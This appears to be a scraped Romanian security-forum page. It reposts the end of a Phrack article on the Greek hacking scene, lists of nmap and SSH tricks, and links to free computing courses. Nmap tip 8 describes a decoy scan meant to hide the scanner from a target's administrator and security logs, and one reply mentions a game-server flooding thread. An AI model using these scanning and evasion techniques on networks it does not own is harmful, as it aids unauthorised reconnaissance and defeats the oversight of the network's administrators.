cooperate and contribute. It was then, about two years ago, when two guys from the Engineering school of A.U.Th. (Thessaloniki, Greece) grabbed a bunch of redundant boxes, set up a CVS server, a website, an IRC network and published an open invitation [GRH]. GR Hack was born. The fact that Greek Universities are modern sanctuaries and the fact that academics are protected by asylum laws, made the location an ideal place for a hacking community. Although not a team in the strict sense, the GR Hack community is still a very active think tank composed of well known and respected Greek hackers. Members and friends of GR Hack have published work in Phrack ([ARG], [ITH], [HUK]), have participated in security conferences like AthCon and Black Hat and have had a great time meeting in real life, drinking alcohol and sharing knowledge. The core of the community consists of a circle of trusted individuals (software analysts/reverse engineers, old school hackers, administrators etc.) who are more than willing to cooperate with other people that take security seriously and have a passion for hacking. ----[ 2.2 Meetings ------[ 2.2.1 0x375 The need for an event came as no surprise. Everyone agreed that the local underground scene had been inactive for quite a long time and that a meeting (preferably with a catchy name!) would be the ideal motive for all those who were willing to share their ideas but never had the chance to. The place was Thessaloniki, and the name was picked to be Thessaloniki Tech Talk Sessions or just TTTS. Since TTTS was not cool enough, the final name for the meeting was chosen to be 3TS and was later settled to 0x375 (almost overnight!). During 0x375 meetings people give presentations on technical topics, have an open discussion and an afternoon full of fun. Currently, the Greek underground scene is preparing for 0x375 0x03 but the lack of people willing to contribute has made the whole process a difficult task. 0x375 material is published at [375]. ------[ 2.2.2 AthCon Following the classic naming convention of other "cons", three people from Athens decided to organize AthCon, an IT security conference that would take place in Athens, Greece. The AthCon staff announced an open call for papers and promised everyone that it was going to be a cool event. And, yes, it was. The first ever AthCon took place in June 2010 and was actually the first "con" to take place in Greece. The event featured a capture the flag contest, a closing party and cool presentations. It's interesting to note that AthCon attracted a lot of people active in the international security scene [ATH] both as speakers or as part of the audience. AthCon was the perfect place for everyone to meet in real life and have fun. We would, definitely, like to see more security conferences taking place in Greece in the near future. ------[ 2.2.3 2600 According to the official Greek 2600 site [260], 2600 meetings started taking place in Athens back in 1999 and, as far as the authors know, they are still frequently organized. During 2600 meetings various people, mainly young inexperienced ones (and that doesn't really matter), meet to have a drink and talk about technical matters. Although we haven't personally attended any of those meetings lately, we believe that they serve a good purpose. ----[ 2.3 Online forums We live in the, so called, "century of information" and it seems that Greek hackers have kept up with the pace information travels. Fortunately, Greeks are quite active when it comes to setting up discussion forums and blogs. P0wnbox [PWN] is such a discussion forum. Although most of its members are freshmen (in a good sense), there are some interesting discussions on that board from time to time. Hey, we are pretty sure you already know xorl's blog, right? It's probably one of the most famous security blogs around and it's mostly dedicated to vulnerability analysis. The pace by which xorl posts stuff may cause you vertigo! Xorl is doing a great job and it's obvious that he spends a quite fair amount of his daily free time on posting things. His blog [XRL] is well worth visiting if you don't already know it. ----[ 2.4 - Controversial groups In the recent past there have been a number of groups doing defacements and fighting each other with childish insults. One of the most high profile cases of this is the CERN defacement. There are tons of articles on the Internet about the CERN incident and the events associated with the defacement of the lxplus.cern.ch web server. We will merely state the obvious. The content of the CERN defacement put blame on the same behavior that itself was perpetuating. Another recent trend in the Greek web defacement "scene" is the emergence of extreme nationalistic groups. These groups attack web sites associated with neighboring countries and deface them with nationalistic content and messages. One of these groups uses a name (Greek Hacking Scene) quite similar to a historic Greek hacking group (Greek Hackers Society). Their reasons for using a similar name are quite obvious. We personally believe that what nationalism stands for goes against the spirit of hacking, and we will leave it at that. Last but not least, Hack4Fame was a self-proclaimed hacking group supposedly composed of blackhat hackers from various countries including Greece. However, it was obvious to most of us who the single person behind Hack4Fame was. In February 2010, Hack4Fame used standard media tricks to publish data that were supposedly stolen after a hack in a Greek bank. The data, which in reality were circulating the Greek underground scene for more than 8 years, belonged to other individuals who either hacked the aforementioned bank in the past or had performed fully legal penetration tests. We don't know what the motive was for Hack4Fame but we definitely disagree with his behavior, especially when it comes to publishing third party private material belonging either to a company or to individuals. ----[ 2.6 - Demo scene The demo scene has always been very closely associated to the hacking scene having forked from it. While in the past the demo scene in Greece was quite active, several demo parties were organized in a yearly basis with the most famous one being The Gardening [GRD], it is currently in a state of hibernation. An example of this sad state of affairs is that the past Greek demo scene online home is now a web page full of advertisements [DMS]. However there is one Greek demogroup that isn't just currently active, but is also transcending the borders of Greece and is successfully participating in international demo scene competitions [ASD]. Andromeda Software Development (ASD) were formed in 1992 and participated for the first time in a Greek demo party in 1995 (The Gardening 1995). They originally developed demos on MS DOS with Borland Turbo Pascal and inline 16-bit assembly. In 2003 they competed for their first time in an international event (Assembly 2003) and in 2005 they won that year's Assembly demo party. Since then they regularly compete in international demo scene events and have won many times [AWP]. ----[ 2.6 - Pentesting community Although we all like to pretend that the commercial penetration testing community has little to do with the underground, we all know that it actually has much to do with us. In Greece many, surely not all though, pentesters that work for security companies come from an underground hacking background. Others try to become part of the hacking scene in order to leech technical know-how, code and sometimes even ready-to-use weaponized exploits. Lately we have seen the emergence of a particular community of people that do a security MSc degree at a semi-respectable UK university (no need to mention it by name, it is well-known in security circles), return to Greece and pretend to know everything there is to know about "hacking". These people fail to understand the importance of the underground and their leeching behavior actively contributes to the demise of the already weak Greek scene. We all hope that Greek security companies will start to publish tools, give talks and generally support and contribute back to the underground hacking scene that has taught them so much in their early days. ----[ 2.7 - Open source related events The open source movement has seen a certain degree of acceptance and has gained several followers and evangelists in Greece. As part of this movement there have been several communities that have and still are organizing technical talks and events. Although these events are not primarily focused on security topics, there have been interesting security talks from time to time. The Software Libre Society at the University of Piraeus [SLS] deserves a special mention since it has been meeting on a regular basis and most talks presented there are of an acceptable to high technical level. ----[ 2.8 - Academia Last but not least, it's quite encouraging that Greek universities have recently started dealing with security more seriously. There are several opportunities for a student to do some serious research for a thesis, an MSc or a PhD that focuses on security both formally and practically. This is good news since a couple of years ago the phrase "applied security research" sounded alien to most academics. Namely, the Electrical and Computer Engineering Department of A.U.Th. (Thessaloniki, Greece) and N.T.U.A. (Athens, Greece) as well as the CS department of the University of Piraeus (Piraeus, Greece) are currently some of those places where one can treat security more academically. Another academic institute that is actively doing security research is ICS, FORTH in Heraklion, Crete [ICS]. Among their research topics are large scale malware analysis, the monitoring of Internet for malware traffic and malware epidemics. They have developed their own honeypot/honeynet software which runs on a host machine and binds several well-known ports that aren't used by the host. All the traffic that comes to these ports is forwarded to their own backend infrastructure for further analysis. Furthermore, they have recently started doing research on GPU-hosted malware. Unfortunately, due to certain narrow minded extremists that represent various political (and mostly partisan) views, Greek universities are still quite far from doing some real, valuable research and even further from collaborating with the very few capable security companies. Analysis of the Greek educational system is a very interesting topic that may teach you all how to respect the fact that you were born in a more civilized country --[ 3 - Conclusion, what does the future hold The near future seems debatable for the Greek computer underground scene. The fact that it is so small means that it is flexible and adaptable, but also means that fragmentations and grudges between individuals can wound it gravely. The Greek scene cannot be forcefully resurrected, that would only lead to more mindless zombies with no motivation and no passion for hacking. We would like to conclude with a positive message and we feel that the conclusion of the "Underground Myth" article in issue 65 applies well to the current situation in Greece [UND]: "All that remains is to relax, to do what you enjoy doing; to hack purely for the enjoyment of doing so. The rest will come naturally, a new scene, with its own traditions, culture and history. A new underground, organically formed over time, just like the first, out of the hacker's natural inclination to share and explore." We hope you enjoyed this brief overview of the current state of the Greek security scene. Greets and thanks to the people that provided extra information on certain topics. You know who you are. Stay tuned for the second part of this article. --[ 4 - References [GRH] http://www.grhack.net/ [ARG] http://www.phrack.org/issues.html?issue=66&id=8#article [ITH] http://www.phrack.org/issues.html?issue=66&id=9#article [HUK] http://www.phrack.org/issues.html?issue=66&id=6#article [375] https://www.grhack.net/files/0x375/ [ATH] http://www.athcon.org/speakers/ [260] http://www.2600.gr/ [PWN] http://www.p0wnbox.com/ [XRL] http://xorl.wordpress.com/ [GRD] http://www.deus.gr/gardening.html [DMS] http://www.demoscene.gr/ [ASD] http://www.asd.gr/ [AWP] http://en.wikipedia.org/wiki/Andromeda_Software_Development [ICS] http://www.ics.forth.gr/ [SLS] http://rainbow.cs.unipi.gr/projects/oss/ [UND] http://phrack.org/issues.html?issue=65&id=13#article Despre hacking in general, despre trecut, despre "underground scenes", mai multe lucruri. Mie mi-a placut. Il gasiti aici: http://www.phrack.com/issues.html?issue=67&id=16#article
-
Daca vrea un program, cauta in categoria specifica, nu la "Cereri" sau "Ajutor". Desi probabil la "Cum floodez un server de CS" poate gasi raspunsuri explicative si poate intelege mai bine cum sta treaba.
-
10 Cool Nmap Tricks and Techniques Nmap (“Network Mapper”) is a free and open source (license) utility for network exploration or security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. In addition to my list you can also check out this Comprehensive Guide to Nmap and of course the man pages Here are some really cool scanning techniques using Nmap. 1) Get info about remote host ports and OS detection nmap -sS -P0 -sV -O <target> Where < target > may be a single IP, a hostname or a subnet -sS TCP SYN scanning (also known as half-open, or stealth scanning) -P0 option allows you to switch off ICMP pings. -sV option enables version detection -O flag attempt to identify the remote operating system Other option: -A option enables both OS fingerprinting and version detection -v use -v twice for more verbosity. nmap -sS -P0 -A -v < target > 2) Get list of servers with a specific port open nmap -sT -p 80 -oG – 192.168.1.* | grep open Change the -p argument for the port number. See “man nmap” for different ways to specify address ranges. 3) Find all active IP addresses in a network nmap -sP 192.168.0.* There are several other options. This one is plain and simple. Another option is: nmap -sP 192.168.0.0/24 for specific subnets 4) Ping a range of IP addresses nmap -sP 192.168.1.100-254 nmap accepts a wide variety of addressing notation, multiple targets/ranges, etc. 5) Find unused IPs on a given subnet nmap -T4 -sP 192.168.2.0/24 && egrep “00:00:00:00:00:00? /proc/net/arp 6) Scan for the Conficker virus on your LAN ect. nmap -PN -T4 -p139,445 -n -v –script=smb-check-vulns –script-args safe=1 192.168.0.1-254 replace 192.168.0.1-256 with the IP’s you want to check. 7) Scan Network for Rogue APs. nmap -A -p1-85,113,443,8080-8100 -T4 –min-hostgroup 50 –max-rtt-timeout 2000 –initial-rtt-timeout 300 –max-retries 3 –host-timeout 20m –max-scan-delay 1000 -oA wapscan 10.0.0.0/8 I’ve used this scan to successfully find many rogue APs on a very, very large network. 8) Use a decoy while scanning ports to avoid getting caught by the sys admin sudo nmap -sS 192.168.0.10 -D 192.168.0.2 Scan for open ports on the target device/computer (192.168.0.10) while setting up a decoy address (192.168.0.2). This will show the decoy ip address instead of your ip in targets security logs. Decoy address needs to be alive. Check the targets security log at /var/log/secure to make sure it worked. 9) List of reverse DNS records for a subnet nmap -R -sL 209.85.229.99/27 | awk ‘{if($3==”not”)print”(“$2?) no PTR”;else print$3? is “$2}’ | grep ‘(‘ This command uses nmap to perform reverse DNS lookups on a subnet. It produces a list of IP addresses with the corresponding PTR record for a given subnet. You can enter the subnet in CDIR notation (i.e. /24 for a Class C)). You could add “–dns-servers x.x.x.x” after the “-sL” if you need the lookups to be performed on a specific DNS server. On some installations nmap needs sudo I believe. Also I hope awk is standard on most distros. 10) How Many Linux And Windows Devices Are On Your Network? sudo nmap -F -O 192.168.0.1-255 | grep "Running: " > /tmp/os; echo "$(cat /tmp/os | grep Linux | wc -l) Linux device(s)"; echo "$(cat /tmp/os | grep Windows | wc -l) Window(s) devices" Hope you have fun, and remember don’t practice these techniques on machines or networks that are not yours. Sursa: 10 Cool Ways to Use Nmap
-
25 Best SSH Commands / Tricks OpenSSH is a FREE version of the SSH connectivity tools that technical users of the Internet rely on. Users of telnet, rlogin, and ftp may not realize that their password is transmitted across the Internet unencrypted, but it is. OpenSSH encrypts all traffic (including passwords) to effectively eliminate eavesdropping, connection hijacking, and other attacks. Additionally, OpenSSH provides secure tunneling capabilities and several authentication methods, and supports all SSH protocol versions. SSH is an awesome powerful tool, there are unlimited possibility when it comes to SSH. 1) Copy ssh keys to user@host to enable password-less ssh logins. ssh-copy-id user@host To generate the keys use the command ssh-keygen 2) Start a tunnel from some machine’s port 80 to your local post 2001 ssh -N -L2001:localhost:80 somemachine Now you can acces the website by going to http://localhost:2001/ 3) Output your microphone to a remote computer’s speaker dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp This will output the sound from your microphone port to the ssh target computer’s speaker port. The sound quality is very bad, so you will hear a lot of hissing. 4) Compare a remote file with a local file ssh user@host cat /path/to/remotefile | diff /path/to/localfile - Useful for checking if there are differences between local and remote files. 5) Mount folder/filesystem through SSH sshfs name@server:/path/to/folder /path/to/mount/point Install SSHFS from SSH Filesystem Will allow you to mount a folder security over a network. 6) SSH connection through host in the middle ssh -t reachable_host ssh unreachable_host Unreachable_host is unavailable from local network, but it’s available from reachable_host’s network. This command creates a connection to unreachable_host through “hidden” connection to reachable_host. 7) Copy from host1 to host2, through your host ssh root@host1 “cd /somedir/tocopy/ && tar -cf – .” | ssh root@host2 “cd /samedir/tocopyto/ && tar -xf -” Good if only you have access to host1 and host2, but they have no access to your host (so ncat won’t work) and they have no direct access to each other. 8) Run any GUI program remotely ssh -fX <user>@<host> <program> The SSH server configuration requires: X11Forwarding yes # this is default in Debian And it’s convenient too: Compression delayed 9) Create a persistent connection to a machine ssh -MNf <user>@<host> Create a persistent SSH connection to the host in the background. Combine this with settings in your ~/.ssh/config: Host host ControlPath ~/.ssh/master-%r@%h:%p ControlMaster no All the SSH connections to the machine will then go through the persisten SSH socket. This is very useful if you are using SSH to synchronize files (using rsync/sftp/cvs/svn) on a regular basis because it won’t create a new socket each time to open an ssh connection. 10) Attach screen over ssh ssh -t remote_host screen -r Directly attach a remote screen session (saves a useless parent bash process) 11) Port Knocking! knock <host> 3000 4000 5000 && ssh -p <port> user@host && knock <host> 5000 4000 3000 Knock on ports to open a port to a service (ssh for example) and knock again to close the port. You have to install knockd. See example config file below. [options] logfile = /var/log/knockd.log [openSSH] sequence = 3000,4000,5000 seq_timeout = 5 command = /sbin/iptables -A INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT tcpflags = syn [closeSSH] sequence = 5000,4000,3000 seq_timeout = 5 command = /sbin/iptables -D INPUT -i eth0 -s %IP% -p tcp –dport 22 -j ACCEPT tcpflags = syn 12) Remove a line in a text file. Useful to fix ssh-keygen -R <the_offending_host> In this case it’s better do to use the dedicated tool 13) Run complex remote shell cmds over ssh, without escaping quotes ssh host -l user $(<cmd.txt) Much simpler method. More portable version: ssh host -l user “`cat cmd.txt`” 14) Copy a MySQL Database to a new Server via SSH with one command mysqldump –add-drop-table –extended-insert –force –log-error=error.log -uUSER -pPASS OLD_DB_NAME | ssh -C user@newhost “mysql -uUSER -pPASS NEW_DB_NAME” Dumps a MySQL database over a compressed SSH tunnel and uses it as input to mysql – i think that is the fastest and best way to migrate a DB to a new server! 15) Remove a line in a text file. Useful to fix “ssh host key change” warnings sed -i 8d ~/.ssh/known_hosts 16) Copy your ssh public key to a server from a machine that doesn’t have ssh-copy-id cat ~/.ssh/id_rsa.pub | ssh user@machine “mkdir ~/.ssh; cat >> ~/.ssh/authorized_keys” If you use Mac OS X or some other *nix variant that doesn’t come with ssh-copy-id, this one-liner will allow you to add your public key to a remote machine so you can subsequently ssh to that machine without a password. 17) Live ssh network throughput test yes | pv | ssh $host “cat > /dev/null” connects to host via ssh and displays the live transfer speed, directing all transferred data to /dev/null needs pv installed Debian: ‘apt-get install pv’ Fedora: ‘yum install pv’ (may need the ‘extras’ repository enabled) 18) How to establish a remote Gnu screen session that you can re-connect to ssh -t user@some.domain.com /usr/bin/screen -xRR Long before tabbed terminals existed, people have been using Gnu screen to open many shells in a single text terminal. Combined with ssh, it gives you the ability to have many open shells with a single remote connection using the above options. If you detach with “Ctrl-a d” or if the ssh session is accidentally terminated, all processes running in your remote shells remain undisturbed, ready for you to reconnect. Other useful screen commands are “Ctrl-a c” (open new shell) and “Ctrl-a a” (alternate between shells). Read this quick reference for more screen commands: GNU screen [quick_reference] 19) Resume scp of a big file rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file It can resume a failed secure copy ( usefull when you transfer big files like db dumps through vpn ) using rsync. It requires rsync installed in both hosts. rsync –partial –progress –rsh=ssh $file_source $user@$host:$destination_file local -> remote or rsync –partial –progress –rsh=ssh $user@$host:$remote_file $destination_file remote -> local 20) Analyze traffic remotely over ssh w/ wireshark ssh root@server.com ‘tshark -f “port !22? -w -’ | wireshark -k -i - This captures traffic on a remote machine with tshark, sends the raw pcap data over the ssh link, and displays it in wireshark. Hitting ctrl+C will stop the capture and unfortunately close your wireshark window. This can be worked-around by passing -c # to tshark to only capture a certain # of packets, or redirecting the data through a named pipe rather than piping directly from ssh to wireshark. I recommend filtering as much as you can in the tshark command to conserve bandwidth. tshark can be replaced with tcpdump thusly: ssh root@example.com tcpdump -w – ‘port !22? | wireshark -k -i - 21) Have an ssh session open forever autossh -M50000 -t server.example.com ‘screen -raAd mysession’ Open a ssh session opened forever, great on laptops losing Internet connectivity when switching WIFI spots. 22) Harder, Faster, Stronger SSH clients ssh -4 -C -c blowfish-cbc We force IPv4, compress the stream, specify the cypher stream to be Blowfish. I suppose you could use aes256-ctr as well for cypher spec. I’m of course leaving out things like master control sessions and such as that may not be available on your shell although that would speed things up as well. 23) Throttle bandwidth with cstream tar -cj /backup | cstream -t 777k | ssh host ‘tar -xj -C /backup’ this bzips a folder and transfers it over the network to “host” at 777k bit/s. cstream can do a lot more, have a look cstream - a general-purpose streaming tool for example: echo w00t, i’m 733+ | cstream -b1 -t2 24) Transfer SSH public key to another machine in one step ssh-keygen; ssh-copy-id user@host; ssh user@host This command sequence allows simple setup of (gasp!) password-less SSH logins. Be careful, as if you already have an SSH keypair in your ~/.ssh directory on the local machine, there is a possibility ssh-keygen may overwrite them. ssh-copy-id copies the public key to the remote host and appends it to the remote account’s ~/.ssh/authorized_keys file. When trying ssh, if you used no passphrase for your key, the remote shell appears soon after invoking ssh user@host. 25) Copy stdin to your X11 buffer ssh user@host cat /path/to/some/file | xclip Have you ever had to scp a file to your work machine in order to copy its contents to a mail? xclip can help you with that. It copies its stdin to the X11 buffer, so all you have to do is middle-click to paste the content of that looong file Have Fun Sursa: 25 Best SSH Commands / Tricks
-
The Top 100 Most Violent Movies Of All Time! | Running With Scissors Official Website
-
Lie Detection & Forensic Psychology Research, Links, Videos and Books
-
Linux Shell Scripting Tutorial A Beginner's handbook Copyright © 1999-2002 by Vivek G. Gite <vivek@nixcraft.com> Table of Contents Chapter 1: Quick Introduction to Linux What Linux is? Who developed the Linux? How to get Linux? How to Install Linux Where I can use Linux? What Kernel Is? What is Linux Shell? How to use Shell What is Shell Script ? Why to Write Shell Script ? More on Shell... Chapter 2: Getting started with Shell Programming How to write shell script Variables in shell How to define User defined variables (UDV) Rules for Naming variable name (Both UDV and System Variable) How to print or access value of UDV (User defined variables) echo Command Shell Arithmetic More about Quotes Exit Status The read Statement Wild cards (Filename Shorthand or meta Characters) More commands on one command line Command Line Processing Why Command Line arguments required Redirection of Standard output/input i.e. Input - Output redirection Pipes Filter What is Processes Why Process required Linux Command(s) Related with Process Chapter 3: Shells (bash) structured Language Constructs Decision making in shell script ( i.e. if command) test command or [ expr ] if...else...fi Nested ifs Multilevel if-then-else Loops in Shell Scripts for loop Nested for loop while loop The case Statement How to de-bug the shell script? Chapter 4: Advanced Shell Scripting Commands /dev/null - to send unwanted output of program Local and Global Shell variable (export command) Conditional execution i.e. && and || I/O Redirection and file descriptors Functions User Interface and dialog utility-Part I User Interface and dialog utility-Part II Message Box (msgbox) using dialog utility Confirmation Box (yesno box) using dialog utility Input (inputbox) using dialog utility User Interface using dialog Utility - Putting it all together trap command The shift Command getopts command Chapter 5: Essential Utilities for Power User Preparing for Quick Tour of essential utilities Selecting portion of a file using cut utility Putting lines together using paste utility The join utility Translating range of characters using tr utility Data manipulation using awk utility sed utility - Editing file without using editor Removing duplicate lines from text database file using uniq utility Finding matching pattern using grep utility Chapter 6: Learning expressions with ex Getting started with ex Printing text on-screen Deleting lines Coping lines Searching the words Find and Replace (Substituting regular expression) Replacing word with confirmation from user Finding words Using range of characters in regular expressions Using & as Special replacement character Converting lowercase character to uppercase Chapter 7: awk Revisited Getting Starting with awk Predefined variables of awk Doing arithmetic with awk User Defined variables in awk Use of printf statement Use of Format Specification Code if condition in awk Loops in awk Real life examples in awk awk miscellaneous sed - Quick Introduction Redirecting the output of sed command How to write sed scripts? More examples of sed Chapter 8: Examples of Shell Scripts Logic Development: Shell script to print given numbers sum of all digit Shell script to print contains of file from given line number to next given number of lines Shell script to say Good morning/Afternoon/Evening as you log in to system Shell script to find whether entered year is Leap or not Sort the given five number in ascending order (use of array) Command line (args) handling: Adding 2 nos. suppiled as command line args Calculating average of given numbers on command line args Finding out biggest number from given three nos suppiled as command line args Shell script to implement getopts statement. Basic math Calculator (case statement) Loops using while & for loop: Print nos. as 5,4,3,2,1 using while loop Printing the patterns using for loop. Arithmetic in shell scripting: Performing real number calculation in shell script Converting decimal number to hexadecimal number Calculating factorial of given number File handling: Shell script to determine whether given file exist or not. Screen handling/echo command with escape sequence code: Shell script to print "Hello World" message, in Bold, Blink effect, and in different colors like red, brown etc. Background process implementation: Digital clock using shell script User interface and Functions in shell script: Shell script to implements menu based system. System Administration: Getting more information about your working environment through shell script Shell script to gathered useful system information such as CPU, disks, Ram and your environment etc. Shell script to add DNS Entery to BIND Database with default Nameservers, Mail Servers (MX) and host Integrating awk script with shell script: Script to convert file names from UPPERCASE to lowercase file names or vice versa. Chapter 9: Other Resources Appendix - A : Linux File Server Tutorial (LFST) version b0.1 Rev. 2 Appendix - B : Linux Command Reference (LCR) About the author About this Document Tutorial: http://freeos.com/guides/lsst/index.html
-
An Overview of Cryptography Gary C. Kessler 21 April 2011 CONTENTS 1. INTRODUCTION 2. THE PURPOSE OF CRYPTOGRAPHY 3. TYPES OF CRYPTOGRAPHIC ALGORITHMS 3.1. Secret Key Cryptography 3.2. Public-Key Cryptography 3.3. Hash Functions 3.4. Why Three Encryption Techniques? 3.5. The Significance of Key Length 4. TRUST MODELS 4.1. PGP Web of Trust 4.2. Kerberos 4.3. Public Key Certificates and Certification Authorities 4.4. Summary 5. CRYPTOGRAPHIC ALGORITHMS IN ACTION 5.1. Password Protection 5.2. Some of the Finer Details of Diffie-Hellman Key Exchange 5.3. Some of the Finer Details of RSA Public-Key Cryptography 5.4. Some of the Finer Details of DES, Breaking DES, and DES Variants 5.5. Pretty Good Privacy (PGP) 5.6. IP Security (IPsec) Protocol 5.7. The SSL "Family" of Secure Transaction Protocols for the World Wide Web 5.8. Elliptic Curve Cryptography 5.9. The Advanced Encryption Standard and Rijndael 5.10. Cisco's Stream Cipher 5.11. TrueCrypt 6. CONCLUSION... OF SORTS 7. REFERENCES AND FURTHER READING A. SOME MATH NOTES A.1. The Exclusive-OR (XOR) Function A.2. The modulo Function ABOUT THE AUTHOR 1. INTRODUCTION Does increased security provide comfort to paranoid people? Or does security provide some very basic protections that we are naive to believe that we don't need? During this time when the Internet provides essential communication between tens of millions of people and is being increasingly used as a tool for commerce, security becomes a tremendously important issue to deal with. There are many aspects to security and many applications, ranging from secure commerce and payments to private communications and protecting passwords. One essential aspect for secure communications is that of cryptography, which is the focus of this chapter. But it is important to note that while cryptography is necessary for secure communications, it is not by itself sufficient. The reader is advised, then, that the topics covered in this chapter only describe the first of many steps necessary for better security in any number of situations. This paper has two major purposes. The first is to define some of the terms and concepts behind basic cryptographic methods, and to offer a way to compare the myriad cryptographic schemes in use today. The second is to provide some real examples of cryptography in use today. I would like to say at the outset that this paper is very focused on terms, concepts, and schemes in current use and is not a treatise of the whole field. No mention is made here about pre-computerized crypto schemes, the difference between a substitution and transposition cipher, cryptanalysis, or other history. Interested readers should check out some of the books in the bibliography below for this detailed — and interesting! — background information. Tutorial: http://www.garykessler.net/library/crypto.html
-
Building Dynamic Websites By David J. Malan - Harvard Curs al unui profesor de la Harvard. Cred ca invatati mai bine de aici decat din rahaturi de tutoriale scrise cu picioarele de Vasile de 12 ani din varful muntelui. Sunt lungi, cate o ora si ceva, dar decat sa va uitati la un serial mai bine invatati cate ceva. Course Description Today's websites are increasingly dynamic. Pages are no longer static HTML files but instead generated by scripts and database calls. User interfaces are more seamless, with technologies like Ajax replacing traditional page reloads. This course teaches students how to build dynamic websites with Ajax and with Linux, Apache, MySQL, and PHP (LAMP), one of today's most popular frameworks. Students learn how to set up domain names with DNS, how to structure pages with XHTML and CSS, how to program in JavaScript and PHP, how to configure Apache and MySQL, how to design and query databases with SQL, how to use Ajax with both XML and JSON, and how to build mashups. The course explores issues of security, scalability, and cross-browser support and also discusses enterprise-level deployments of websites, including third-party hosting, virtualization, colocation in data centers, firewalling, and load-balancing. Course Index HTTP PHP PHP (continued) XML XML (continued) SQL SQL (continued) JavaScript JavaScript (continued) Ajax Ajax (continued) Security Scalability Lista: http://academicearth.org/courses/building-dynamic-websites
-
Operating Systems and System Programming By John Kubiatowicz - Berkeley Tutoriale video: prezentari de la Universitatea Berkeley, prezentari ale unor oameni sa spunem... calificati Sunt lungi, dar cred ca merita vazute. Course Description Basic concepts of operating systems and system programming. Utility programs, subsystems, multiple-program systems. Processes, interprocess communication, and synchronization. Memory allocation, segmentation, paging. Loading and linking, libraries. Resource allocation, scheduling, performance evaluation. File systems, storage devices, I/O systems. Protection, security, and privacy. Course Index Introduction, What is an Operating System Anyway??? Concurrency: Processes, Threads, and Address Spaces Thread Dispatching Cooperating Threads Synchronization Readers-Writers; Language Support for Synchronization Tips for working in a Project Team/ Cooperating Processes and Deadlock Deadlock (continued) - Thread Scheduling Scheduling (continued) - Protection: Kernel and Address Spaces Address Translation Address Translation 2, Caching and TLBs Caching and TLBs 2, Caching and Demand Paging Page Allocation and Replacement Page Allocation and Replacement 2, Survey of I/O Systems File Systems and Disk Management Queueing Theory, Filesystems Filesystems, Naming, and Directories Networks and Distributed Systems Network Protocols Network Protocols III Network Communication Abstractions/RPC Protection and Security in Distributed Systems II ManyCore OS and Peer-to-Peer Systems Lista: http://academicearth.org/courses/operating-systems-and-system-programming